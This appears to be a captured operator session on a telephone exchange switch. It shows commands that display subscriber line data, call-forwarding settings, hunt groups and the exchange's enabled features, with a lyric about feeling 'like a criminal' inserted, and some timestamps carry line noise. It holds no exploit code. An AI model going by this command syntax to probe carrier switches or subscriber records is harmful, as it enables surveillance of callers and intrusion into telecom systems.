M NPA=505
M DN=xxx9922
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:15:50 IDCI1
M DISPDNDEST:NPA=505,DN=xxx9922; EXEC'D
8855 IDCI1 2893/00165
DISPDNDEST:NPA=505,DN=xxx9922; EXEC'D
NO (MORE) DATA FOR DISPLAY AVAILABLE.
END JOB 8855 EXEC'D(What I need is a good defense, cause I'm feelin' like a criminal. And I need to be reddemed to the one
I've sinned against, because it's all I ever knew of love. -- Fiona Apple.)
DISPSDNDAT
PM
M NPA=505
M DN=xxx9922
M EQN=all
8859 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPSDNDAT : 2 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =<ALL>
MASKNO:10990
MISSING INFORMATION UNIT
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
EQN =ALL<>
END OF ERROR MESSAGE JOB 8859 MASKNO:10041
EQN=
M HGID=
M LNO=
M CT=
M TSPID=
M FKMP=
M CSTMGRP=
M PANAME=
M FORMAT=
M VIEW=
M TYP=
M PROF=
M CUG=
M CHTYPE=
M LCHNO=
M LCC=
M PAPKDN=
M CAN=
M DFKMP=
M R00=
M TERM=
M COSDAT=
M SFGN=
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:17:27 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9922; EXEC'D
8859 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9922; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9922,
EQN = 3390-0-02-05,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX =1,
LTT = COSLAC5;
END JOB 8859 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=3545010
M EQN=
M HGID=
M LNO=
M CT=
M TSPID=
M FKMP=
M CSTMGRP=
M PANAME=
M FORMAT=;
CE
XXXXX 03-02-14 06:18:33 IDCI1
M DISPSDNDAT:NPA=505,DN=3545010; EXEC'D
8866 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=3545010; EXEC'D
DISCONNECTED DN MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = 3545010,
INCEPT = UNOBDN;
END JOB 8866 EXEC'D
DISPSDNDAT
PM
M NPA= 505
M DN=3544663
M EQN=;
CE
XXXXX 03-02-14 06:19:20 IDCI1
M DISPSDNDAT:NPA=505,DN=3544663; EXEC'D
8871 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=3544663; EXEC'D
DISCONNECTED DN MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = 3544663,
INCEPT = UNOBDN;
END JOB 8871 EXEC'D
seldn
PM
M NPA= 505
M DN=xxx9922
M INCEPT=
M ACT=
M TYPE=
M DNCOS=
M INCEPT=
M ACT=
M TYPE=
M DNCOS=;
CE
XXXXX 03-02-14 06:20:39 IDCI1
M SELDN:NPA=505,DN=xxx9922; NOT EXEC'D
8874 IDCI1 2969/10990
SELDN:NPA=505,DN=xxx9922; NOT EXEC'D
MASKNO:10990
MISSING PARAMETER
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
INCEPT
ACT
TYPE
DNCOS
END JOB 8874
statphdn
PM
M DN=xxx9922
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:21:19 IDCI1
M STATPHDN:DN=xxx9922; NOT EXEC'D
8877 IDCI1 2885/07488
STATPHDN:DN=xxx9922; NOT EXEC'D
PACKET HANDLER ERROR MESSAGE
CODE DESCRIPTION
-----+------------------------------------------------------------------
1025 PH IN LOCAL MODE
END TEXT JOB 8877
XXXXX 03-02-14 06:21:19 IDCI1
M STATPHDN:DN=xxx9922; NOT EXEC'D
8877 IDCI1 2885/10066
STATPHDN:DN=xxx9922; NOT EXEC'D
OUTPUT UNSUCCESSFUL MASKNO:10066
END JOB 8877
dispdest
PM
M DEST=
M INROUI=
M DEST= CA
XXXXX 03-02-14 06:22:21 IDCI1
M DISPDEST:DEST= NOT EXEC'D
8880 IDCI1 2969/10991
DISPDEST:DEST= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8880
dispdn
PM
M NPA=505
M DN=xxx9921
M FORMAT=
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:22:44 IDCI1
M DISPDN:NPA=505,DN=xxx9921;
8882 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx9921;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx9921 SUB xxx YES
END JOB 8882 EXEC'D
dispdn
PM
M NPA=505
M DN=xxx5372
M FORMAT=
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 06:23:15 IDCI1
M DISPDN:NPA=505,DN=xxx5372;
8883 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx5372;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx5372 SUB xxx YES
END JOB 8883 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx5372
M EQN=;
CE
XXXXX 03-02-14 06:23:54 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx5372; EXEC'D
8886 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx5372; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx5372,
EQN = 3410-0-00-59,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
LTT = COSLAC5,
PIC = 5971,
PMIC0 = 5971,
NTRAPC = 5971,
INTRAPC0 = 5971,
INTLPC = 5971,
INTLPC0 = 5971;
END JOB 8886 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx5511
M EQN=;
CE
XXXXX 03-02-14 06:24:39 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx5511; EXEC'D
8888 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx5511; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx5511,
EQN = 3350-0-05-85,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
LTT = COSLAC5,
COS = CW,
COS = CCW,
COSDAT = CSLST-11,
PIC = 948,
PIC0 = 948,
INTRAPC = 948,
INTRAPC0 = 948,
INTLPC = 948,
INTERRUPTION TEXT JOB 8888
XXXXX 03-02-14 06:24:39 IDCI1
M CONTINUATION TEXT 0001
8888 IDCI1 2816/04328
INTLPC0 = 948;
END JOB 8888 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx5639
M EQN=;
CE
XXXXX 03-02-14 06:25:17 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx5639; EXEC'D
8891 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx5639; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx5639,
EQN = 3400-0-04-38,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
CH4RG = ENHTRST,
LTT = COSLAC5,
COS = CW,
COS = CCW,
PIC = 9000,
PIC0 = 9000,
INTRAPC = 9000,
INTRAPC0 = 9000,
INTLPC = 9000,
INTERRUPTION TEXT JOB 8891
XXXXX 03-02-16:25:17 IDCI1
M CONTINUATION TEXT 0001
8891 IDCI1 2816/04328
INTLPC0 = 9000;
END JOB 8891 EXEC'D
DISPSDNDAT
PM
M NPA=5050
M DN=xxx6165
M EQN=;
CE
XXXXX 03-02-14 06:26:08 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx6165; EXEC'D
8893 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx6165; EXEC'D
MULTI-LINE HUNT GROUP LINE MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx6165,
EQN = 3370-0-09-61,
HGID = 35,
LNO = 1,
CT = VI,
CAT = MS,
LCC = 1MRHG,
RAX = 1,
LTT = COSLAC5,
PIC = 222,
PIC0 = 222,
INTRAPC = 222,
INTRAPC0 = 222,
INTLPC = 222,
INTLPC0 = 222;
END JOB 8893 EXEC'D
dispdn
PM
M NPA=505
M DN=xxx6165
M FORMAT=;
CE
XXXXX 03-02-14 06:26:52 IDCI1
M DISPDN:NPA=505,DN=xxx6165;
8896 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx6165;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx6165 MLHG xxx YES
END JOB 8896 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx6068
M EQN=;
CE
XXXXX 03-02-14 06:27:36 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx6068; EXEC'D
8898 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx6068; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx6068,
EQN = 3370-0-08-58,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5, COS = TWC,
COS = GROPTER,
COS = PRIMDN,
COS = CCW,
COS = VMWI,
MWI = FWDISC,
COSDAT = CSLST-1,
INTERRUPTION TEXT JOB 8898
XXXXX 03-02-14 06:27:36 IDCI1
M CONTINUATION TEXT 0001
8898 IDCI1 2816/04328
COSDAT = MSGSERV,
DIV = ACTCFBL-xxx1734,
DIV = ACTCFDA-xxx1734,
DIV = CFBL,
DIV = UPCFBLDN,
DIV = CFDA,
DIV = UPCFDADN,
DIV = CFV,
DIV = UPCFVDN,
DIV = NOCFIND,
DIV = RRNG,
DIV = CCNOAREQ,
CFRC = 4,
CFVLIM = 1,
CFBLLIM = 1,
CFDALIM = 1,
ABB = SPD8,
ABB = UPSPD8,
PIC = 333,
INTERRUPTION TEXT JOB 8898
XXXXX 03-02-184 06:27:36 IDCI
M CONTINUATION TEXT 0002
8898 IDCI1 2816/04328
PIC0 = 333,
INTRAPC = 333,
INTRAPC0 = 333,
INTLPC = 333,
INTLPC0 = 333,
CLACOS = SCFFR,
CLACOS = SCRFR,
CLACOS = DRCWFR,
CLACOS = ACFR,
CLACOS = ARFR,
CLACOS = CNDFR,
CLACOS = SCFRRNG,
CLACOS = UCRFR,
CLACOS = CNAMDFR,
CLACOS = SCAASS,
CLACOS = CIDCWFR;
END JOB 8898 EXEC'D
[A DISPSDNDAT
PM
M NPA=505
M DN=xxx6128
M EQN=;
CE
XXXXX 03-02-14 06:27:59 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx6128; EXEC'D
8900 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx6128; EXEC'D
DISCONNECTED DN MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx6128,
INCEPT = UNOBDN;
END JOB 8900 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx6028
M EQN=;
CE
XXXXX 03-02-14 06:28:19 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx6028; EXEC'D
8918 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx6028; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx6028,
EQN = 3350-0-06-86,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
LTT = COSLAC5,
PIC = 5971,
PIC0 = 5971,
INTRAPC = 5971,
INTRAPC0 = 5971;
END JOB 8918 EXEC'D
dispmlhgl
PM
M NPA=505
M DN=xxx6165
M OPMODE=;
CE
XXXXX 03-02-14 21:51:03 IDCI1
M DISPMLHGL:NPA=505,DN=xxx6165;
2758 IDCI1 2816/03786
DISPMLHGL:NPA=505,DN=xxx6165;
MASKNO:03793
NPA = 505 DN = xxx6165 MULTIPLE PRIVATE ACCESS DN'S = NO
HGID = 35 MASKNO:04173
OPMODE = MBW MASKNO:03792
LNO = 1 EQN = 3370- 0-09-61 MASKNO:03786
HGLDN = xxxxxx6165 MASKNO:03788
CAT = MS MASKNO:03774
LTT = COSLAC5 MASKNO:03789
LNATT = DTMF MASKNO:03787
CT = VI MASKNO:04396
LCC = 1MRHG RAX = 1 MASKNO:03785
ORIG1 = 9 MASKNO:03798
PIC = 0222 MASKNO:04398
PIC0 = 0222
INTRAPC = 0222
INTRAPC0 = 0222
INTLPC = 0222
INTLPC0 = 0222
CHRG = MRSA1 MASKNO:03775
INTERRUPTION TEXT JOB 2758
XXXXX 03-02-1:51:03 IDCI1
M CONTINUATION TEXT 0001
2758 IDCI1 2816/03786
LNO = 2 EQN = 3350- 0-05-61 MASKNO:03786
HGLDN = xxxxxx6890 MASKNO:03788
CAT = MS MASKNO:03774
LTT = COSLAC5 MASKNO:03789
LNATT = DTMF MASKNO:03787
CT = VI MASKNO:04396
LCC = 1MRHG RAX = 1 MASKNO:03785
ORIG1 = 9 MASKNO:03798
PIC = 0222 MASKNO:04398
PIC0 = 0222
INTRAPC = 0222
INTRAPC0 = 0222
INTLPC = 0222
INTLPC0 = 0222
COSDAT = BILLNO -xxxxxx6165 MASKNO:03778
CHRG = MRSA1 MASKNO:03775
COS = DCAHUNT MASKNO:03777
INTERRUPTION TEXT JOB 2758
XXXXX 03-02-14 21:51:04 IDCI1
M CONTINUATION TEXT 0002
2758 IDCI1 2816/03786
LNO = 3 EQN = 3370- 0-11-12 MASKNO:03786
HGLDN = xxxxxx9720 MASKNO:03788
CAT = MS MASKNO:03774
LTT = COSLAC5 MASKNO:03789
LNATT = DTMF MASKNO:03787
CT = VI MASKNO:04396
LCC = 1MRHG RAX = 1 MASKNO:03785
ORIG1 = 9 MASKNO:03798
PIC = 0222 MASKNO:04398
PIC0 = 0222
INTRAPC = 0222
INTRAPC0 = 0222
INTLPC = 0222
INTLPC0 = 0222
COSDAT = BILLNO -xxxxxx6165 MASKNO:03778
CHRG = MRSA1 MASKNO:03775
COS = DCAHUNT MASKNO:03777
LNO = 4 EQN = 3360- 0-03-28 MASKNO:03786
HGLDN = xxxxxx2689 MASKNO:03788
INTERRUPTION TEXT JOB 2758
XXXXX 03-02-14 21:51:A04 IDCI1
M CONTINUATION TEXT 0003
2758 IDCI1 2816/03786
CAT = MS MASKNO:03774
LTT = COSLAC5 MASKNO:03789
LNATT = DTMF MASKNO:03787
CT = VI MASKNO:04396
LCC = 1MRHG RAX = 1 MASKNO:03785
ORIG1 = 9 MASKNO:03798
PIC = 0222 MASKNO:04398
PIC0 = 0222
INTRAPC = 0222
INTRAPC0 = 0222
INTLPC = 0222
INTLPC0 = 0222
COSDAT = BILLNO -xxxxxx6165 MASKNO:03778
CHRG = MRSA1 MASKNO:03775
COS = DCAHUNT MASKNO:03777
END JOB 2758 EXEC'D
DISPEXDDAT
PM
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 21:52:03 IDCI1
M DISPEXDDAT; EXEC'D
2772 IDCI1 2992/01952
DISPEXDDAT; EXEC'D
EXCHANGE DESCRIPTION DATA
CNTRY GNTYPE DETYPE MET Q3ACTIVE CMYSIZE
-------+-----------+--------+-----------+----------+--------
USA LOCAL DE52 NO 256
END JOB 2772
callids
PM
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 21:52:49 IDCI1
M *** END CALL IDS ***
2776 IDCI1 3087/00000
*** END CALL IDS ***
END JOB 2776
dispuserid
PM
M USERID= ci1
2778 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPUSERID : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
USERID =<CI1>
END OF ERROR MESSAGE JOB 2778 MASKNO:10041
USERID=idci1
M READY TO EXECUTE <;
CE
2778 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPUSERID : 1 ERROR(S)
MASKNO:10990
OBJECT(S) NOT EXISTING
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
USERID =<IDCI1>
END OF ERROR MESSAGE JOB 2778 MASKNO:10041
USERID=;
CE
XXXXX 03-02-14 21:54:11 IDCI1
M DISPUSERID; NOT EXEC'D
2778 IDCI1 2969/10990
DISPUSERID; NOT EXEC'D
MASKNO:10990
MISSING PARAMETER
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
USERID
END JOB 2778
DISPEXDDAT
disptxt
sp
PM
M TSPID=1
M EQN=;
CE
XXXXX 03-02-14 21:54:51 IDCI1
M DISPTSP:TSPID=1; EXEC'D
2781 IDCI1 2816/00165
DISPTSP:TSPID=1; EXEC'D
NO (MORE) DATA FOR DISPLAY AVAILABLE.
END JOB 2781
seldn
PM
M NPA=505
M DN=xxx6165
M INCEPT=
M ACT=
M TYPE=
M DNCOS=
M INCEPT=sub
2785 MASKNO:10001
M COMMAND ERROR MESSAGE FOR SELDN : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
INCEPT =<SUB>
END OF ERROR MESSAGE JOB 2785 MASKNO:10041
INCEPT= CA
XXXXX 03-02-14 21:56:51 IDCI1
M SELDN:NPA=505,DN=xxx6165,INCEPT= NOT EXEC'D
2785 IDCI1 2969/10991
SELDN:NPA=505,DN=xxx6165,INCEPT= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 2785
selphln
PM
M HGID=35
M LNO=9
M READY TO EXECUTE <;
CE
2788 MASKNO:10001
M COMMAND ERROR MESSAGE FOR SELPHLN : 1 ERROR(S)
MASKNO:10990
OBJECT(S) NOT EXISTING
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
LNO =<9>
END OF ERROR MESSAGE JOB 2788 MASKNO:10041
LNO=1
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 21:57:21 IDCI1
M SELPHLN:HGID=35,LNO=1;
2788 IDCI1 2816/02878
SELPHLN:HGID=35,LNO=1;
PREFERENTIAL HUNTING LINE DATA
HGID LNO PHL OWNERS
-----+----+-------------------------------------------------
35 1
END JOB 2788 EXEC'D
tset estline
PM
XXXXX 03-02-14 21:58:25 IDCI1
M TESTLINE NOT EXEC'D
2791 IDCI1 3057/04148
TESTLINE NOT EXEC'D
TPNO
NPA
DN
EQN
MODE
TEST NOT POSSIBLE
TEST PORT: 0 CIRCUIT TYPE: FREE
NPA DN: LINE STATUS: IDLE
EQN: TEST ACCESS: EXTERN
REASON: NO SPEECH-CONNECTION
END TEXT JOB 2791
dispuserid
PM
M USERID=;
CE
XXXXX 03-02-14 21:59:42 IDCI1
M DISPUSERID; NOT EXEC'D
2794 IDCI1 2969/10990
DISPUSERID; NOT EXEC'D
MASKNO:10990
MISSING PARAMETER
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
USERID
END JOB 2794
DISPUSERID
PM
M USERID=1
2796 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPUSERID : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
USERID =<1>
END OF ERROR MESSAGE JOB 2796 MASKNO:10041
USERID=
M USERID=;
CE
XXXXX 03-02-14 22:00:15 IDCI1
M DISPUSERID; NOT EXEC'D
2796 IDCI1 2969/10990
DISPUSERID; NOT EXEC'D
MASKNO:10990
MISSING PARAMETER
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
USERID
END JOB 2796
DISPCSANI
PM
M ANI=xxxxxx9922
M FORMAT=
M PPROF=
M SPROF=
M BLK=
M FEATDAT=
M COS=
M PERIOD=
M STRTDATE=
M ACCTINFO=
M ACCTDATE=
M ACCTTIME=
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 22:01:23 IDCI1
M DISPCSANI:ANI=xxxxxx9922; EXEC'D
2800 IDCI1 2805/00165
DISPCSANI:ANI=xxxxxx9922; EXEC'D
NO (MORE) DATA FOR DISPLAY AVAILABLE.
END JOB 2800 EXEC'D
DISPEXCHFE
PM
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 22:03:31 IDCI1
M DISPEXCHFE; EXEC'D
2807 IDCI1 2816/08571
DISPEXCHFE; EXEC'D
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
ABNLOGEN DISABLED
ACG800 ENABLED
AINAMA DISABLED
AINAMAEN ENABLED
AINANNE ENABLED
AINBUSY DISABLED
AINCOL DISABLED
AINDTRG ENABLED
AINEACR DISABLED
AINEDEFR ENABLED
AINGTT ENABLED
AINIP ENABLED
AINIPI ENABLED
AINLNP ENABLED
AINMWI DISABLED
AINNTRIG ENABLED
AINOHI DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:31 IDCI1
M CONTINUATION TEXT 0001
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
AINPFX DISABLED
AINPQS ENABLED
AINSOCC ENABLED
AINTOG ENABLED
AINTRGIT ENABLED
ALOWZERO DISABLED
ALT DISABLED
ARBANON ENABLED
ARSTIM DISABLED
AUTOSPID DISABLED
AUTOSTEP DISABLED
BLFDSS DISABLED
BRICALPK DISABLED
BRIECT DISABLED
BRIPDEVK DISABLED
C7VARCIC ENABLED
CALEA ENABLED
CARDT DISABLED
CARRSW DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:31 IDCI1
M CONTINUATION TEXT 0002
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CARSWANI DISABLED
CARSWAUT DISABLED
CARSWFC DISABLED
CATRECOV DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:32 IDCI1
M CONTINUATION TEXT 0003
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CBCICSS7 DISABLED
CCS7BAR ENABLED
CDPACSDT DISABLED
CDPACTIM DISABLED
CFACSAC DISABLED
CFAINAC DISABLED
CFBSYTRK DISABLED
CFDARCEN DISABLED
CFVFIXAD DISABLED
CFVREACT DISABLED
CGPNPOR DISABLED
CIDCW ENABLED
CIDS ENABLED
CMC2A DISABLED
CMC2B DISABLED
CNAENH DISABLED
CONFS6 DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:32 IDCI1
M CONTINUATION TEXT 0004
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CPEDWNLD DISABLED
CPRI DISABLED
CPUDEN ENABLED
CRANKBK DISABLED
CSCCV DISABLED
CSCODSCR DISABLED
CSCRCARD DISABLED
CSDEBITC DISABLED
CSDNIS ENABLED
CSEAUTC DISABLED
CSEPRJC DISABLED
CSFRADET DISABLED
CSHOTROT DISABLED
CSMCSCR DISABLED
CSPRCDVA DISABLED
CSPROFLX DISABLED
CSPRVSPD DISABLED
CSPUBSPD DISABLED
CSSNBLK DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:32 IDCI1
M CONTINUATION TEXT 0005
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CSTODSCR DISABLED
CSTRKQUE DISABLED
CUSTCRNK DISABLED
CWD DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-0B2-14 22:03:34 II1
M CONTINUATION TEXT 0006
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CWVOANNC DISABLED
CXDNDISP DISABLED
CXMDR ENABLED
CXTRAF ENABLED
CXTRKMNT ENABLED
CXTRKTST ENABLED
DEFANIEN DISABLED
DISPBAAT DISABLED
DISPBAL1 DISABLED
DISPCARR ENABLED
DPNDATA ENABLED
DTMFANI DISABLED
EADAS128 DISABLED
EADAS256 DISABLED
EAOSS DISABLED
EAWATTDI ENABLED
EDEQEKTS ENABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-:03:34 IDCI1
M CONTINUATION TEXT 0007
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
EDITLCC ENABLED
EDITPDN ENABLED
EKTSMTA ENABLED
EKTSPDOH ENABLED
EKTSPOO ENABLED
ELOCBONA DISABLED
EMSDNOPT ENABLED
ETSIPRI DISABLED
EXTLRN DISABLED
FFPOHD DISABLED
GETSHPC DISABLED
IATTWFEA DISABLED
ICNAM DISABLED
IDLCBRI DISABLED
IDLCEKTS DISABLED
II25 DISABLED
INTCLLNP DISABLED
INTERTC DISABLED
INTOHD DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02 -14 22:03:34 ID1
M CONTINUATION TEXT 0008
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
INTRAPC ENABLED
IN888 ENABLED
IPOPVOIP DISABLED
ISDNINSP DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 2 2:03:38 IDCI1
M CONTINUATION TEXT 0009
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
ISDTRENG DISABLED
ISMDIVMS ENABLED
ISUPHCNT ENABLED
LCNAMD ENABLED
LDTODROT DISABLED
LNPAMAE1 DISABLED
LNPGTMT DISABLED
LNPLRN DISABLED
LNPPOOL DISABLED
M104PTP DISABLED
MANOUTAL ENABLED
MF2FGD DISABLED
MFVMS DISABLED
MLBG DISABLED
MLPP DISABLED
MOPC DISABLED
MPTST1 DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:38 IDCI1
M CONTINUATION TEXT 0010
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
MULTIPIC ENABLED
MULTTIMZ DISABLED
NCAS ENABLED
NSNATPRI DISABLED
NTMACC ENABLED
NTMCPOCC ENABLED
NTMICCC ENABLED
NTMITDRD ENABLED
NTMTR ENABLED
ODAGENTA ENABLED
OFOCBONA DISABLED
OHDWSP DISABLED
ORIGNEL ENABLED
OUTSCCX DISABLED
PASSTHRU DISABLED
PCS DISABLED
PNACDPAC DISABLED
PODPDEFR ENABLED
PRIBCHAV DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:38 IDCI1
M CONTINUATION TEXT 0011
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
PRIBDIR DISABLED
PRIBKDCP DISABLED
PRIBNS DISABLED
PRIDISPB DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-L14 22:03:40 IDC1
M CONTINUATION TEXT 0012
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
PRIENH DISABLED
PRIGCH DISABLED
PRIGUCD DISABLED
PRILNDN DISABLED
PRIOM164 DISABLED
PRIRND DISABLED
PRIRTEAD DISABLED
PRISCR DISABLED
PRITBCT DISABLED
PRIUPNS DISABLED
PRIUSP DISABLED
RAETN ENABLED
RAVAD DISABLED
RAXLRN DISABLED
RINGSPEC DISABLED
RIPIPI ENABLED
RIPNIP ENABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:40 IDCI1
M CONTINUATION TEXT 0013
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
RLT DISABLED
RLTCAS DISABLED
RPMON DISABLED
RSUFEAT ENABLED
RSUMANN DISABLED
RSUSASPN DISABLED
SCREENII DISABLED
SFGVER ENABLED
SNXXMNPA ENABLED
SPLITPRI DISABLED
SPONCTFR DISABLED
SS7ALC ENABLED
SS7LMI ENABLED
SS7LOOP DISABLED
SS7NMAN ENABLED
SS7NSTDB ENABLED
SS7TMBK DISABLED
STRCIDT DISABLED
SUSTWC ENABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:40 IDCI1
M CONTINUATION TEXT 0014
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
SWSGSUPR DISABLED
TBILLIXC DISABLED
TERMNEL ENABLED
TGCLID DISABLED
INTERRUPTION TEXT JOB 2807
XXXXX 03-02-14 22:03:43 IDCI1
M CONTINUATION TEXT 0015
2807 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
TIMEDREM DISABLED
TOLLRC ENABLED
TPDNDEL DISABLED
TRACBASC ENABLED
TRACCPTY DISABLED
TRACKER DISABLED 57783
TRACSERV DISABLED
VAD DISABLED
VADENH DISABLED
VADISDN DISABLED
WKSTDLTN DISABLED
ZEROPSPL DISABLED
ZMINTPIC DISABLED
AINRISC ENABLED
END JOB 2807 EXEC'D
DISPEXCHFE
PM
M READY TO EXECUTE <;
CE
XXXXX 03-02-14 22:04:48 IDCI1
M DISPEXCHFE; EXEC'D
2812 IDCI1 2816/08571
DISPEXCHFE; EXEC'D
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
ABNLOGEN DISABLED
ACG800 ENABLED
AINAMA DISABLED
AINAMAEN ENABLED
AINANNE ENABLED
AINBUSY DISABLED
AINCOL DISABLED
AINDTRG ENABLED
AINEACR DISABLED
